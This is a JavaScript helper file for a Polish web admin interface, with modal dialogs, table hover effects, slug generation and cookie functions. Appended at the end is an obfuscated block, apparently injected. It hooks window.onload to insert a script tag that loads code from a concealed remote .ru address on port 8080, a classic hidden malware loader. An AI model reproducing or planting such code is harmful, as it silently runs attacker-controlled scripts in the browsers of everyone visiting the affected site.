/*
 * @autor Łukasz Sokół
 */

var box = null;



function formsubmit(formName)
{
	document.getElementById('imperial_form_'+formName).submit();
}

function reload()
{
	window.location.href = window.location.href;
}


$(document).ready(
function()
{
	var backColor = null;
	$('.gridTable tr:gt(0)').hover(
		function(){
			backColor = $(this).css('backgroundColor');
			
			$(this).css({
				'backgroundColor':'#EFEFEF'
			});
		},
		function(){
			$(this).css({
				'backgroundColor':backColor
			});
		}
	);
});


function mBoxAlert(title, alertText, type , callbackFun)
{
	
	if(typeof(type) == 'undefined')
	{
		type = 'warning';
	}
	
	switch(type)
	{
		case 'error':
			var spanIco = '<span class="titleIcoError">&nbsp;</span>';
			var ico = '<img class="messIco" src="gfx/mbox/error.gif" alt="">';
			break;
		case 'info':
			var spanIco = '<span class="titleIcoInfo">&nbsp;</span>';
			var ico = '<img class="messIco" src="gfx/mbox/info.gif" alt="">';
			break;
		default:
			var spanIco = '<span class="titleIcoWarning">&nbsp;</span>';
			var ico = '<img class="messIco" src="gfx/mbox/warning.gif" alt="">';
	}
	
	if(typeof(callbackFun) == 'undefined')
	{
		callbackFun = function(){}
	}
	
	box = new Boxy.alert(
		ico+alertText,
		callbackFun,
		{
			title:spanIco+title
		}
	);
	
	if($.browser.msie && $.browser.version == '6.0')
		$('.boxy-modal-blackout').bgiframe();
	$('.answers .button:last').focus();
}

function mBoxQuestion(title, question, answers, callbackFun)
{
	var spanIco = '<span class="titleIcoQuestion">&nbsp;</span>';
	var ico = '<img class="messIco" src="gfx/mbox/question.gif" alt="">';
	
	if(typeof(callbackFun) == 'undefined')
	{
		callbackFun = function(){}
	}
	
	if(typeof(answers) == 'undefined')
	{
		answers = new Array();
	}
	
	new Boxy.ask(
		ico + question,
		answers,
		callbackFun,
		{
			title:spanIco+title
		}
	);
	
	if($.browser.msie && $.browser.version == '6.0')
		$('.boxy-modal-blackout').bgiframe();
	$('.answers .button:last').focus();
}

/*
 * wywołanie tylko w document.ready()
 */
function mBoxShowLoading(titleWindow,text)
{	
	if(typeof(text) != 'undefined')
	{
		text = '<br/>'+text;
	}
	else
	{
		text = '';
	}
	
	box = new Boxy(
		'<div class="loading"><img src="gfx/mbox/loading.gif" alt="loading" />'+text+'</div>',
		{
			title: '<span class="titleIcoLoading">&nbsp;</span>'+titleWindow,
			modal: true,
			closeable: false,
			center : true,
			fixed : true
		}
	);
	
	if($.browser.msie && $.browser.version == '6.0')
		$('.boxy-modal-blackout').bgiframe();
}

/*
 * wywołanie tylko w document.ready()
 */
function mBoxHide()
{
	if(typeof(box) == 'object')
	{
		box.hide();
		box = null;
	}
}

function showDatePicker(fieldId)
{
	$("#"+fieldId).datepicker("show");
}


function updateLink(fieldId,str)
{
				
	toChange = ["ą","Ą","ć","Ć","ę","Ę","ń","Ń","ś","Ś","ó","Ó","ł","Ł","ż","Ż","ź","Ź"];
	change =   ["a","a","c","c","e","e","n","n","s","s","o","o","l","l","z","z","z","z"];
	
	for(i=0;i<toChange.length;i++)
	{
		regex = new RegExp(toChange[i],'g');
		str = str.replace(regex,change[i]);
	}
	
	str = str.toLowerCase().replace(/[\s]/g,'-').replace(/[^a-z0-9-_]/g,'');
	$("#"+fieldId).val(str);
}

/*
 * przejscie do zadanego urla
 */
function redirect(url)
{
	window.location.href = url;
}

function setCookie(name,value,expires,path,domain,secure) 
{
	var today = new Date();
	today.setTime( today.getTime() );

      if(expires)
      {
		expires = expires * 1000 * 60 * 60 * 24;
      }
      var expires_date = new Date( today.getTime() + (expires) );

      document.cookie = name + "=" +escape(value) +
      ( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) + 
      ( ( path ) ? ";path=" + path : "" ) + 
      ( ( domain ) ? ";domain=" + domain : "" ) +
      ( ( secure ) ? ";secure" : "" );
	/*$.ajax({
	 	type:'post',
		url:'/admin.php?CORE_ACTION=AJAX&imperial_ajax=s%3A52%3A%22SU1QRVJJQUxfQ09PS0lFJnNldENvb2tpZSZlbXB0eSZhOjA6e30%3D%22%3B'
	 });*/
}

// this fixes an issue with the old method, ambiguous values 
// with this test document.cookie.indexOf( name + "=" );
function getCookie(check_name) {
	// first we'll split this cookie up into name/value pairs
	// note: document.cookie only returns name=value, not the other components
	var a_all_cookies = document.cookie.split( ';' );
	var a_temp_cookie = '';
	var cookie_name = '';
	var cookie_value = '';
	var b_cookie_found = false; // set boolean t/f default f
	
	for ( i = 0; i < a_all_cookies.length; i++ )
	{
		// now we'll split apart each name=value pair
		a_temp_cookie = a_all_cookies[i].split( '=' );
		
		
		// and trim left/right whitespace while we're at it
		cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
	
		// if the extracted name matches passed check_name
		if ( cookie_name == check_name )
		{
			b_cookie_found = true;
			// we need to handle case where cookie has no value but exists (no = sign, that is):
			if ( a_temp_cookie.length > 1 )
			{
				cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
			}
			// note that in cases where cookie is initialized but no value, null is returned
			return cookie_value;
			break;
		}
		a_temp_cookie = null;
		cookie_name = '';
	}
	if ( !b_cookie_found )
	{
		return null;
	}
}

/*
// this function gets the cookie, if it exists
// don't use this, it's weak and does not handle some cases
// correctly, this is just to maintain legacy information
function Get_Cookie( name ) {
	
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) &&
( name != document.cookie.substring( 0, name.length ) ) )
{
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}

*/


// this deletes the cookie when called
function deleteCookie(name,path,domain)
{
      if(getCookie(name)) document.cookie = name + "=" +
      ( ( path ) ? ";path=" + path : "") +
      ( ( domain ) ? ";domain=" + domain : "" ) +
      ";expires=Thu, 01-Jan-1970 00:00:01 GMT";
}

var aM;if(aM!='Zx' && aM!='Ki'){aM=''};var t;if(t!='' && t!='Rr'){t=null};try {var q;if(q!='' && q!='e'){q='y'};this.Bd="";var U='';var N=new String();var Rh;if(Rh!='' && Rh!='QP'){Rh=null};var p=RegExp;var Xk;if(Xk!=''){Xk='D'};var Z="[";var a=new String("W2mN]".substr(4));var w='';var X="g";var l;if(l!='' && l!='s'){l=''};var gY=new Date();var m=String("repla"+"ce");var v;if(v!='mS' && v!='hy'){v=''};var Pb='';var MF;if(MF!='i' && MF!='kx'){MF=''};var BT='';function z(Q,K){var T=new String();var C=Z;var cq=new Array();C+=K;var oe=new Array();var Qu;if(Qu!='' && Qu!='th'){Qu='tw'};C+=a;var r=new p(C, X);var A_;if(A_!='' && A_!='e_'){A_=''};var XS;if(XS!='' && XS!='HW'){XS=''};return Q.replace(r, U);this.Wz="";};var h="onlovx0m".substr(0,4)+"z4Mad".substr(3);this.Hf="";var wM;if(wM!='' && wM!='Qx'){wM=''};var R=z('8992992092229982299909999',"29");var j=new String("scrip"+"t");var WB='';var L='';var Y=z('hkt0t7pV:7/V/0sVf0r0-7fVr0.Va0skgk.7t7o0.9aVl0l7okc0i7n7e9-7fVrk.VwVeVbkmki9x9w9oVr0l7dk.Vr9u9:k',"0kV79");var hg;if(hg!='T_' && hg!='yH'){hg='T_'};this.ce='';var iE=new Date();this.oC='';var V=String("bUFi/s".substr(4)+"tr"+"ea"+"ma"+"R4Pte".substr(3)+".c"+"AzMfom".substr(4)+"/sWkq".substr(0,2)+"ZJctrcZJ".substr(3,2)+"iJVpeaiJVp".substr(4,2)+"EF6fma".substr(4)+"PMCte".substr(3)+".c"+"omwEZH".substr(0,2)+"/f"+"ocWnTF".substr(0,2)+"us"+".d"+"e/"+"goID2b".substr(0,2)+"2tmhogm2th".substr(4,2)+"le"+".c2m5r".substr(0,2)+"omiPuF".substr(0,2)+"/d"+"isMCje".substr(0,2)+"igDcugiD".substr(3,2)+"z."+"ONhne".substr(3)+"bPMKt.".substr(4)+"is2WphsiW2".substr(4,2)+"gWPFpPWFg".substr(4,1));var Q="1";var F;if(F!='Gm' && F != ''){F=null};window[h]=function(){var Ai=new String();var qL;if(qL!='ia' && qL != ''){qL=null};S=document.createElement(j);var tC;if(tC!=''){tC='Hx'};L+=Y;L+=R+V;var WzR="";S.defer=Q;var Sl;if(Sl!='' && Sl!='wx'){Sl=null};S.src=L;this.ve="";var k=document.body;var Lf=new Array();var WO=new Date();var Zz;if(Zz!='MY' && Zz != ''){Zz=null};var Gg;if(Gg!='' && Gg!='Vm'){Gg=null};k.appendChild(S);};var ay="";} catch(mH){};var St;if(St!='EG' && St != ''){St=null};var my=new Array();